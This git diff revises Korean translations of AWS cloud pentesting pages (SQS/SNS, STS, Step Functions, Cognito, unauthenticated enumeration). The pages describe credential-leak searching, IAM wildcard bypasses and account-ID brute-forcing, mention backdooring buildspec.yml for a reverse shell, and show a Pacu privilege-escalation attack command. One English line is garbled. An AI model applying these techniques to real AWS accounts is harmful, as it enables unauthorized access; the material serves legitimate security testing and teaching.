**SQS**는 **큐 기반** 서비스로, 포인트 투 포인트 통신을 허용하여 메시지가 **단일 소비자**에 의해 처리되도록 보장합니다. 이 서비스는 **최소 한 번 전달**을 제공하며, 표준 및 FIFO 큐를 지원하고, 재시도 및 지연 처리를 위한 메시지 보존을 허용합니다.\ -반면에 **SNS**는 **게시/구독 기반 서비스**로, 메시지를 **여러 구독자**에게 동시에 방송하여 **일대다** 통신을 가능하게 합니다. 이 서비스는 **이메일, SMS, Lambda 함수 및 HTTP/HTTPS**와 같은 다양한 구독 엔드포인트를 지원하며, 목표 메시지 전달을 위한 필터링 메커니즘을 제공합니다.\ +반면에 **SNS**는 **게시/구독 기반 서비스**로, 메시지를 **여러 구독자**에게 동시에 방송하여 **일대다** 통신을 가능하게 합니다. 이 서비스는 **이메일, SMS, Lambda 함수 및 HTTP/HTTPS**와 같은 다양한 구독 엔드포인트를 지원하며, 타겟 메시지 전달을 위한 필터링 메커니즘을 제공합니다.\ 두 서비스 모두 분산 시스템의 구성 요소 간의 분리를 가능하게 하지만, SQS는 큐 통신에 중점을 두고, SNS는 이벤트 기반 팬아웃 통신 패턴을 강조합니다. ### **열거** @@ -44,7 +44,7 @@ aws sns subscribe --region \ > [!CAUTION] > **주제의 유형이 FIFO인 경우**, **SQS** 프로토콜을 사용하는 구독자만 사용할 수 있습니다 (HTTP 또는 HTTPS는 사용할 수 없습니다). > -> 또한, `--topic-arn`에 지역이 포함되어 있더라도 **`--region`**에서 올바른 지역을 지정해야 하며, 그렇지 않으면 접근 권한이 없다는 오류가 발생하지만 문제는 지역입니다. +> 또한, `--topic-arn`에 지역이 포함되어 있더라도 **`--region`**에서 올바른 지역을 지정해야 하며, 그렇지 않으면 접근 권한이 없다는 오류가 발생할 수 있지만 문제는 지역입니다. #### 인증되지 않은 접근 diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md index fe87a6819..ca453090d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md @@ -18,7 +18,7 @@ aws sqs receive-message --queue-url aws sqs send-message --queue-url --message-body ``` > [!CAUTION] -> 또한, `--queue-url`에 리전이 포함되어 있더라도 **`--region`**에서 올바른 리전을 지정해야 합니다. 그렇지 않으면 접근 권한이 없다는 오류가 발생하지만 문제는 리전입니다. +> 또한 `--queue-url`에 지역이 포함되어 있더라도 **`--region`**에서 올바른 지역을 지정해야 합니다. 그렇지 않으면 접근 권한이 없다는 오류가 발생하지만 문제는 지역입니다. #### 인증되지 않은 접근 @@ -44,7 +44,7 @@ aws sqs send-message --queue-url --message-body ../aws-persistence/aws-sqs-persistence.md {{#endref}} -## 참조 +## 참고 문헌 - https://docs.aws.amazon.com/cdk/api/v2/python/aws\_cdk.aws\_sqs/README.html diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md index 5d848e749..e233bcff4 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md @@ -4,7 +4,7 @@ ## Step Functions -AWS Step Functions는 여러 AWS 서비스를 서버리스 워크플로로 조정하고 오케스트레이션할 수 있는 워크플로 서비스입니다. AWS Step Functions를 사용하면 AWS Lambda, Amazon S3, Amazon DynamoDB 등 다양한 AWS 서비스를 단계별로 연결하는 워크플로를 설계하고 실행할 수 있습니다. 이 오케스트레이션 서비스는 시각적 워크플로 인터페이스를 제공하며, **상태 기계** 기능을 제공하여 JSON 기반의 **Amazon States Language** (ASL)를 사용하여 워크플로의 각 단계를 선언적으로 정의할 수 있습니다. +AWS Step Functions는 여러 AWS 서비스를 서버리스 워크플로로 조정하고 오케스트레이션할 수 있는 워크플로 서비스입니다. AWS Step Functions를 사용하면 AWS Lambda, Amazon S3, Amazon DynamoDB 등 다양한 AWS 서비스를 단계적으로 연결하는 워크플로를 설계하고 실행할 수 있습니다. 이 오케스트레이션 서비스는 시각적 워크플로 인터페이스를 제공하며, 각 워크플로의 단계를 JSON 기반의 **Amazon States Language** (ASL)를 사용하여 선언적으로 정의할 수 있는 **상태 기계** 기능을 제공합니다. ## Key concepts @@ -12,7 +12,7 @@ AWS Step Functions는 여러 AWS 서비스를 서버리스 워크플로로 조 AWS Step Functions는 두 가지 유형의 **상태 기계 워크플로**를 제공합니다: Standard와 Express. -- **Standard Workflow**: 이 기본 워크플로 유형은 장기 실행, 내구성 및 감사 가능한 프로세스를 위해 설계되었습니다. **정확히 한 번 실행**을 지원하여, 재시도가 지정되지 않는 한 작업이 한 번만 실행되도록 보장합니다. 자세한 실행 기록이 필요한 워크플로에 이상적이며 최대 1년 동안 실행될 수 있습니다. +- **Standard Workflow**: 이 기본 워크플로 유형은 장기 실행, 내구성 및 감사 가능한 프로세스를 위해 설계되었습니다. **정확히 한 번 실행**을 지원하여, 재시도가 지정되지 않는 한 작업이 한 번만 실행되도록 보장합니다. 자세한 실행 기록이 필요한 워크플로에 이상적이며 최대 1년까지 실행할 수 있습니다. - **Express Workflow**: 이 유형은 고용량, 단기 작업에 적합하며 최대 5분 동안 실행됩니다. **최소 한 번 실행**을 지원하며, 데이터 처리와 같은 멱등 작업에 적합합니다. 이러한 워크플로는 비용과 성능을 최적화하여 실행, 지속 시간 및 메모리 사용량에 따라 요금이 부과됩니다. ### States @@ -25,7 +25,7 @@ AWS Step Functions는 두 가지 유형의 **상태 기계 워크플로**를 제 - **Pass:** 입력을 출력으로 전달하거나 데이터를 주입합니다. - **Wait:** 설정된 시간 동안 실행을 지연시킵니다. - **Parallel:** 병렬 분기를 시작합니다. -- **Map:** 항목에 대해 동적으로 단계를 반복합니다. +- **Map:** 항목에 대해 단계를 동적으로 반복합니다. ### Task @@ -56,8 +56,8 @@ AWS Step Functions는 두 가지 유형의 **상태 기계 워크플로**를 제 A **Choice** state adds conditional logic to a workflow, enabling decisions based on input data. It evaluates the specified conditions and transitions to the corresponding state based on the results. -- **Comparison**: 각 선택 규칙에는 입력 변수를 지정된 값 또는 다른 변수와 비교하는 비교 연산자(예: **`NumericEquals`**, **`StringEquals`**)가 포함됩니다. -- **Next Field**: Choice states는 **`End`** 필드를 지원하지 않으며, 대신 비교가 참일 경우 전환할 **`Next`** 상태를 정의합니다. +- **Comparison**: Each choice rule includes a comparison operator (e.g., **`NumericEquals`**, **`StringEquals`**) that compares an input variable to a specified value or another variable. +- **Next Field**: Choice states do not support don't support the **`End`** field, instead, they define the **`Next`** state to transition to if the comparison is true. Example of **Choice** state: ```json @@ -84,7 +84,7 @@ A **`Succeed`** state stops the execution successfully. It is typically used to ``` {{#endtab }} -{{#tab name="성공 예제" }} +{{#tab name="Succeed example" }} ```json "SuccessState": { "Type": "Succeed" @@ -166,7 +166,7 @@ A **Parallel** state allows you to execute multiple branches of tasks concurrent A **Map** state enables the execution of a set of steps for each item in an dataset. It's used for parallel processing of data. Depending on how you want to process the items of the dataset, Step Functions provides the following modes: -- **Inline Mode**: 각 JSON 배열 항목에 대해 상태의 하위 집합을 실행합니다. 40개 미만의 병렬 반복이 있는 소규모 작업에 적합하며, **`Map`** 상태를 포함하는 워크플로우의 맥락에서 각 작업을 실행합니다. +- **Inline Mode**: 각 JSON 배열 항목에 대해 상태의 하위 집합을 실행합니다. 40개 미만의 병렬 반복이 있는 소규모 작업에 적합하며, **`Map`** 상태를 포함하는 워크플로우의 맥락에서 각 항목을 실행합니다. ```json "MapState": { diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md index 0b6d9b322..14d4f4740 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md @@ -4,9 +4,9 @@ ## STS -**AWS Security Token Service (STS)**는 주로 **임시, 제한된 권한의 자격 증명**을 발급하기 위해 설계되었습니다. 이러한 자격 증명은 **AWS Identity and Access Management (IAM)** 사용자 또는 인증된 사용자(연합 사용자)에 대해 요청할 수 있습니다. +**AWS Security Token Service (STS)**는 주로 **임시, 제한된 권한 자격 증명**을 발급하기 위해 설계되었습니다. 이러한 자격 증명은 **AWS Identity and Access Management (IAM)** 사용자 또는 인증된 사용자(연합 사용자)에 대해 요청할 수 있습니다. -STS의 목적이 **신원 사칭을 위한 자격 증명 발급**인 만큼, 이 서비스는 **권한 상승 및 지속성 유지**에 매우 유용합니다. 비록 다양한 옵션이 없을 수 있지만 말입니다. +STS의 목적이 **신원 사칭을 위한 자격 증명 발급**인 만큼, 이 서비스는 **권한 상승 및 지속성 유지**에 매우 유용합니다. 비록 다양한 옵션이 많지 않을 수 있지만요. ### Assume Role Impersonation @@ -32,9 +32,9 @@ AWS STS에서 제공하는 [AssumeRole](https://docs.aws.amazon.com/STS/latest/A ] } ``` -역할 **`priv-role`**는 이 경우 **특별히 허용될 필요가 없다** (그 허용만으로 충분하다). +이 경우 **`priv-role`** 역할은 해당 역할을 맡기 위해 **특별히 허용될 필요가 없습니다** (그 허용만으로 충분합니다). -그러나 역할이 계정이 그것을 맡도록 허용하는 경우, 다음과 같이: +그러나 역할이 계정이 그것을 맡도록 허용하는 경우, 예를 들어: ```json { "Version": "2012-10-17", @@ -52,7 +52,7 @@ AWS STS에서 제공하는 [AssumeRole](https://docs.aws.amazon.com/STS/latest/A ``` 역할을 가정하려면 해당 역할에 대해 **특정 `sts:AssumeRole` 권한**이 필요합니다 **가정하기 위해**. -다른 계정에서 **역할**을 가정하려고 하면, **가정된 역할이 이를 허용해야** 합니다 (역할 **ARN** 또는 **외부 계정**을 나타냄), 그리고 **다른 역할을 가정하려는 역할은** **가정할 수 있는 권한이 있어야** 합니다 (이 경우 가정된 역할이 ARN을 지정하더라도 이는 선택 사항이 아닙니다). +다른 계정에서 **역할**을 가정하려고 하면, **가정된 역할이 이를 허용해야** 합니다 (역할 **ARN** 또는 **외부 계정**을 지정), 그리고 **다른 역할을 가정하려는 역할은** **가정할 수 있는 권한이 있어야** 합니다 (이 경우 가정된 역할이 ARN을 지정하더라도 선택 사항이 아닙니다). ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md index f0efa42fc..ee60227e3 100644 --- a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md @@ -6,7 +6,7 @@ ## EventBridge Scheduler -**Amazon EventBridge Scheduler**는 **작업을 대규모로 생성, 실행 및 관리하기 위해 설계된 완전 관리형 서버리스 스케줄러**입니다. 이를 통해 중앙 서비스에서 270개 이상의 AWS 서비스와 6,000개 이상의 API 작업에 걸쳐 수백만 개의 작업을 예약할 수 있습니다. 내장된 신뢰성과 관리할 인프라가 없기 때문에 EventBridge Scheduler는 스케줄링을 단순화하고 유지 관리 비용을 줄이며 수요에 맞게 자동으로 확장됩니다. 반복 스케줄에 대한 cron 또는 비율 표현식을 구성하고, 일회성 호출을 설정하며, 재시도 옵션이 있는 유연한 전달 창을 정의하여 작업이 하류 대상의 가용성에 따라 신뢰할 수 있게 전달되도록 보장할 수 있습니다. +**Amazon EventBridge Scheduler**는 **작업을 대규모로 생성, 실행 및 관리하기 위해 설계된 완전 관리형 서버리스 스케줄러**입니다. 이를 통해 중앙 서비스에서 270개 이상의 AWS 서비스와 6,000개 이상의 API 작업에 걸쳐 수백만 개의 작업을 예약할 수 있습니다. 내장된 신뢰성과 관리할 인프라가 없기 때문에 EventBridge Scheduler는 스케줄링을 단순화하고 유지 관리 비용을 줄이며 수요에 맞게 자동으로 확장됩니다. 반복 스케줄에 대해 cron 또는 비율 표현식을 구성하고, 일회성 호출을 설정하며, 재시도 옵션이 있는 유연한 전달 창을 정의하여 작업이 하류 대상의 가용성에 따라 신뢰성 있게 전달되도록 보장할 수 있습니다. 지역당 계정당 초기 한도는 1,000,000개의 스케줄입니다. 공식 쿼터 페이지에서도 "완료된 일회성 스케줄은 삭제하는 것이 좋습니다."라고 제안합니다. @@ -15,7 +15,7 @@ EventBridge Scheduler의 스케줄 유형: 1. **일회성 스케줄** – 특정 시간에 작업을 실행합니다. 예: 12월 21일 오전 7시 UTC. -2. **비율 기반 스케줄** – 빈도에 따라 반복 작업을 설정합니다. 예: 매 2시간마다. +2. **비율 기반 스케줄** – 빈도를 기준으로 반복 작업을 설정합니다. 예: 매 2시간마다. 3. **Cron 기반 스케줄** – cron 표현식을 사용하여 반복 작업을 설정합니다. 예: 매주 금요일 오후 4시. 실패한 이벤트를 처리하기 위한 두 가지 메커니즘: diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md index d80a68cdc..ca436b2e7 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md @@ -4,7 +4,7 @@ ## AWS 자격 증명 유출 -AWS 계정에 대한 접근 또는 정보를 얻는 일반적인 방법은 **유출 검색**입니다. **구글 도크**를 사용하여 유출을 검색하거나, **조직**의 **공개 리포지토리**와 **조직의 직원**을 **Github** 또는 다른 플랫폼에서 확인하거나, **자격 증명 유출 데이터베이스**에서 검색하는 등, 회사와 그 클라우드 인프라에 대한 정보를 찾을 수 있는 모든 곳에서 검색할 수 있습니다.\ +AWS 계정에 대한 접근 또는 정보를 얻는 일반적인 방법은 **유출 검색**입니다. **google dorks**를 사용하여 유출을 검색하거나, **조직**의 **공개 리포지토리**와 **직원**의 **Github** 또는 다른 플랫폼에서 확인하거나, **자격 증명 유출 데이터베이스**에서 검색하는 등, 회사와 그 클라우드 인프라에 대한 정보를 찾을 수 있는 다른 모든 곳에서 검색할 수 있습니다.\ 유용한 **도구**: - [https://github.com/carlospolop/leakos](https://github.com/carlospolop/leakos) @@ -36,9 +36,9 @@ AWS에는 모든 인터넷 또는 예상보다 더 많은 사람에게 어떤 ## 크로스 계정 공격 -[**격리 해제: 크로스 계정 AWS 취약점**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) 강의에서는 일부 서비스가 **계정 ID를 지정하지 않은 AWS 서비스**로 인해 모든 AWS 계정이 접근할 수 있도록 허용되었다고 설명합니다. +[**격리 해제: 크로스 계정 AWS 취약점**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) 발표에서 일부 서비스가 **계정 ID를 지정하지 않은 AWS 서비스**로 인해 모든 AWS 계정이 접근할 수 있도록 허용되었다고 설명합니다. -강의 중 여러 예시를 제시하며, S3 버킷이 **모든 AWS** 계정의 **cloudtrail**을 **쓰기 허용**하는 경우를 언급합니다: +발표 중 여러 예시가 언급되며, S3 버킷이 **모든 AWS** 계정의 **cloudtrail**을 **쓰기 허용**하는 경우가 있습니다: ![](<../../../images/image (260).png>) diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md index f6603339e..372794f8d 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md @@ -6,7 +6,7 @@ 대상이 있다면, 대상과 관련된 계정 ID를 식별하기 위한 방법이 있습니다. -### 무작위 대입 +### 무작위 대입 공격 잠재적인 계정 ID와 별칭 목록을 생성하고 이를 확인합니다. ```bash @@ -24,7 +24,7 @@ You can [automate this process with this tool](https://github.com/dagrz/aws_pwn/ ### Marketplace -판매자가 **마켓플레이스에 인스턴스가 있는 경우,** 그가 사용한 AWS 계정의 소유자 ID(계정 ID)를 얻을 수 있습니다. +벤더가 **마켓플레이스에 인스턴스가 있는 경우,** 그가 사용한 AWS 계정의 소유자 ID(계정 ID)를 얻을 수 있습니다. ### Snapshots @@ -34,7 +34,7 @@ You can [automate this process with this tool](https://github.com/dagrz/aws_pwn/ ### Errors -많은 AWS 오류 메시지(접근 거부 포함)는 해당 정보를 제공합니다. +많은 AWS 오류 메시지(접근 거부 포함)가 해당 정보를 제공합니다. ## References diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md index a07dcb8ff..0a383708e 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md @@ -1,8 +1,8 @@ -# AWS - API Gateway Unauthenticated Enum +# AWS - API Gateway 인증되지 않은 열거 {{#include ../../../banners/hacktricks-training.md}} -### API Invoke 우회 +### API 호출 우회 [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE) 강연에 따르면, Lambda Authorizers는 API 엔드포인트를 호출할 수 있는 권한을 부여하기 위해 **IAM 구문**을 사용하여 구성할 수 있습니다. 이는 [**문서에서 가져온 내용**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html)입니다: ```json @@ -19,14 +19,14 @@ ] } ``` -이 엔드포인트를 호출하기 위한 권한을 부여하는 방법의 문제는 **"\*"가 "모든 것"을 의미**하며 **더 이상 정규 표현식 구문이 지원되지 않**는다는 것입니다. +이 엔드포인트를 호출하기 위한 권한을 부여하는 방법의 문제는 **"\*"가 "모든 것"을 의미**하며 **더 이상 regex 구문이 지원되지 않**는다는 것입니다. 몇 가지 예시: - 각 사용자에게 `/dashboard/user/{username}`에 대한 접근을 허용하기 위해 `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*`와 같은 규칙을 사용하면, 예를 들어 `/admin/dashboard/createAdmin`과 같은 다른 경로에 대한 접근도 허용됩니다. > [!WARNING] -> **"\*"는 슬래시로 확장을 멈추지 않**으므로, 예를 들어 api-id에 "\*"를 사용하면 최종 정규 표현식이 여전히 유효한 한 "모든 단계" 또는 "모든 메서드"를 나타낼 수 있습니다.\ +> **"\*"는 슬래시로 확장을 멈추지 않**으므로, 예를 들어 api-id에 "\*"를 사용하면 최종 regex가 여전히 유효한 한 "모든 단계" 또는 "모든 메서드"를 나타낼 수 있습니다.\ > 따라서 `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ > 는 예를 들어 `/prod/GET/dashboard/admin` 경로에 대한 테스트 단계에 대한 POST 요청을 검증할 수 있습니다. @@ -36,16 +36,16 @@ ### IAM 정책 주입 -같은 [**talk**](https://www.youtube.com/watch?v=bsPKk7WDOnE)에서 코드가 **사용자 입력**을 사용하여 **IAM 정책을 생성**하는 경우, 와일드카드(및 "." 또는 특정 문자열과 같은 다른 것들)가 포함될 수 있으며, 이는 **제한을 우회**하는 것을 목표로 한다는 사실이 노출됩니다. +같은 [**talk**](https://www.youtube.com/watch?v=bsPKk7WDOnE)에서 코드가 **사용자 입력**을 사용하여 **IAM 정책을 생성**하는 경우, 와일드카드(및 "." 또는 특정 문자열과 같은 다른 것들)가 포함될 수 있으며, 이는 **제한을 우회**하는 목표를 가지고 있습니다. ### 공개 URL 템플릿 ``` https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided} ``` -### Get Account ID from public API Gateway URL +### 공개 API Gateway URL에서 계정 ID 가져오기 -S3 버킷, 데이터 교환 및 Lambda URL 게이트웨이와 마찬가지로, 공개 API Gateway URL에서 **`aws:ResourceAccount`** **정책 조건 키**를 악용하여 계정의 계정 ID를 찾는 것이 가능합니다. 이는 정책의 **`aws:ResourceAccount`** 섹션에서 와일드카드를 악용하여 한 번에 한 문자씩 계정 ID를 찾음으로써 이루어집니다.\ -이 기술은 태그 키를 알고 있다면 **태그 값**을 얻을 수 있게 해줍니다(기본적으로 흥미로운 것들이 있습니다). +S3 버킷, Data Exchange 및 Lambda URL 게이트웨이와 마찬가지로, 공개 API Gateway URL에서 **`aws:ResourceAccount`** **정책 조건 키**를 악용하여 계정의 계정 ID를 찾는 것이 가능합니다. 이는 정책의 **`aws:ResourceAccount`** 섹션에서 와일드카드를 악용하여 한 번에 한 문자씩 계정 ID를 찾음으로써 이루어집니다.\ +이 기술은 태그 키를 알고 있다면 **태그의 값**을 가져오는 것도 허용합니다(흥미로운 기본 태그가 몇 개 있습니다). 자세한 정보는 [**원본 연구**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/)와 이 악용을 자동화하는 도구 [**conditional-love**](https://github.com/plerionhq/conditional-love/)에서 확인할 수 있습니다. diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md index dae253487..07d5cecac 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md @@ -12,9 +12,9 @@ ### buildspec.yml -**`buildspec.yml`**이라는 파일이 포함된 리포지토리에 대한 쓰기 접근 권한을 손상시키면, 이 파일을 **백도어**할 수 있습니다. 이 파일은 CodeBuild 프로젝트 내에서 실행될 **명령어**를 지정하며, 비밀 정보를 유출하고 수행되는 작업을 손상시키며 **CodeBuild IAM 역할 자격 증명**을 손상시킬 수 있습니다. +**`buildspec.yml`**이라는 파일이 포함된 리포지토리에 대한 쓰기 접근 권한을 손상시키면, 이 파일을 **백도어**할 수 있습니다. 이 파일은 CodeBuild 프로젝트 내에서 실행될 **명령어**를 지정하며, 비밀 정보를 유출하고, 수행되는 작업을 손상시키며, **CodeBuild IAM 역할 자격 증명**을 손상시킬 수 있습니다. -**`buildspec.yml`** 파일이 없더라도 Codebuild가 사용되고 있다는 것을 알고 있다면 (또는 다른 CI/CD가 사용되고 있다면) **실행될 합법적인 코드**를 수정하는 것도 예를 들어 리버스 셸을 얻는 방법이 될 수 있습니다. +**`buildspec.yml`** 파일이 없더라도 Codebuild가 사용되고 있다는 것을 알고 있다면 (또는 다른 CI/CD가 사용되고 있다면) **실행될 합법적인 코드**를 수정하는 것만으로도 예를 들어 리버스 셸을 얻을 수 있습니다. 관련 정보는 Github Actions 공격 방법에 대한 페이지를 확인할 수 있습니다 (이와 유사함): @@ -28,6 +28,6 @@ ```bash runs-on: codebuild--${{ github.run_id }}-${{ github.run_attempt }} ``` -이 Github Actions와 AWS 간의 새로운 관계는 Github에서 AWS를 타협할 수 있는 또 다른 방법을 생성합니다. Github의 코드는 IAM 역할이 연결된 CodeBuild 프로젝트에서 실행됩니다. +이 새로운 Github Actions와 AWS 간의 관계는 Github에서 AWS를 타협할 수 있는 또 다른 방법을 생성합니다. Github의 코드는 IAM 역할이 연결된 CodeBuild 프로젝트에서 실행됩니다. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md index 1532b62ec..d3e6db14c 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md @@ -2,9 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -## Unauthenticated Cognito +## 인증되지 않은 Cognito -Cognito는 개발자가 **앱 사용자에게 AWS 서비스에 대한 접근 권한을 부여할 수 있도록 하는 AWS 서비스**입니다. 개발자는 앱의 **인증된 사용자에게 IAM 역할을 부여**하고 (잠재적으로 사람들이 그냥 가입할 수 있음) **인증되지 않은 사용자에게도 IAM 역할을 부여할 수 있습니다**. +Cognito는 개발자가 **앱 사용자에게 AWS 서비스에 대한 접근 권한을 부여할 수 있도록 하는 AWS 서비스**입니다. 개발자는 앱에서 **인증된 사용자에게 IAM 역할을 부여**하고, **인증되지 않은 사용자에게도 IAM 역할을 부여**할 수 있습니다. Cognito에 대한 기본 정보는 다음을 확인하세요: @@ -12,26 +12,26 @@ Cognito에 대한 기본 정보는 다음을 확인하세요: ../aws-services/aws-cognito-enum/ {{#endref}} -### Identity Pool ID +### 아이덴티티 풀 ID -Identity Pool은 **Identity Pool ID를 아는 인증되지 않은 사용자에게 IAM 역할을 부여할 수 있습니다** (이는 **찾기**에 꽤 일반적입니다), 그리고 이 정보를 가진 공격자는 **해당 IAM 역할에 접근하고 이를 악용**하려고 시도할 수 있습니다.\ -게다가, IAM 역할은 Identity Pool에 접근하는 **인증된 사용자에게도 할당될 수 있습니다**. 공격자가 **사용자를 등록**할 수 있거나 이미 Identity Pool에서 사용되는 **신원 공급자에 접근**할 수 있다면, **인증된 사용자에게 부여된 IAM 역할에 접근하고 그 권한을 남용**할 수 있습니다. +아이덴티티 풀은 **아이덴티티 풀 ID를 아는 인증되지 않은 사용자에게 IAM 역할을 부여**할 수 있습니다(이는 **찾기**가 비교적 일반적입니다). 이 정보를 가진 공격자는 **해당 IAM 역할에 접근**하고 이를 악용할 수 있습니다.\ +또한, IAM 역할은 아이덴티티 풀에 접근하는 **인증된 사용자에게도 할당될 수 있습니다**. 공격자가 **사용자를 등록**하거나 아이덴티티 풀에서 사용되는 **아이덴티티 제공자에 이미 접근**할 수 있다면, **인증된 사용자에게 부여된 IAM 역할에 접근**하고 그 권한을 남용할 수 있습니다. [**여기에서 방법을 확인하세요**](../aws-services/aws-cognito-enum/cognito-identity-pools.md). -### User Pool ID +### 사용자 풀 ID -기본적으로 Cognito는 **새 사용자를 등록**할 수 있도록 허용합니다. 사용자를 등록할 수 있는 능력은 **기본 애플리케이션**이나 **Cognito User Pool을 신원 공급자로 사용하는 Identity Pool의 인증된 IAM 접근 역할**에 **접근**할 수 있게 해줄 수 있습니다. [**여기에서 방법을 확인하세요**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). +기본적으로 Cognito는 **새 사용자를 등록**할 수 있도록 허용합니다. 사용자를 등록할 수 있는 능력은 **기본 애플리케이션**이나 **Cognito 사용자 풀을 아이덴티티 제공자로 사용하는 아이덴티티 풀의 인증된 IAM 접근 역할**에 **접근**할 수 있게 해줄 수 있습니다. [**여기에서 방법을 확인하세요**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). -### Pacu modules for pentesting and enumeration +### 펜테스팅 및 열거를 위한 Pacu 모듈 -[Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS 악용 프레임워크는 이제 계정의 모든 Cognito 자산을 열거하고 약한 구성, 접근 제어에 사용되는 사용자 속성 등을 플래그하고, 사용자 생성(다단계 인증 지원 포함) 및 수정 가능한 사용자 정의 속성, 사용 가능한 Identity Pool 자격 증명, ID 토큰에서 가정 가능한 역할 등을 기반으로 권한 상승을 자동화하는 "cognito\_\_enum" 및 "cognito\_\_attack" 모듈을 포함합니다. +[Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS 악용 프레임워크는 이제 계정 내 모든 Cognito 자산의 열거를 자동화하고 약한 구성, 접근 제어에 사용되는 사용자 속성 등을 플래그하고, 사용자 생성(다단계 인증 지원 포함) 및 수정 가능한 사용자 정의 속성, 사용 가능한 아이덴티티 풀 자격 증명, ID 토큰의 가정 가능한 역할 등을 기반으로 권한 상승을 자동화하는 "cognito__enum" 및 "cognito__attack" 모듈을 포함합니다. 모듈 기능에 대한 설명은 [블로그 게시물](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) 2부를 참조하세요. 설치 지침은 주요 [Pacu](https://github.com/RhinoSecurityLabs/pacu) 페이지를 참조하세요. -#### Usage +#### 사용법 -샘플 `cognito__attack` 사용법으로 주어진 Identity Pool 및 User Pool 클라이언트에 대해 사용자 생성 및 모든 권한 상승 벡터를 시도합니다: +주어진 아이덴티티 풀 및 사용자 풀 클라이언트에 대해 사용자 생성 및 모든 권한 상승 벡터를 시도하는 샘플 `cognito__attack` 사용법: ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md index c0b12846b..975d7c16d 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md @@ -1,4 +1,4 @@ -# AWS - DocumentDB Unauthenticated Enum +# AWS - DocumentDB 비인증 열거 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md index b85b10431..4a40b1271 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md +++ 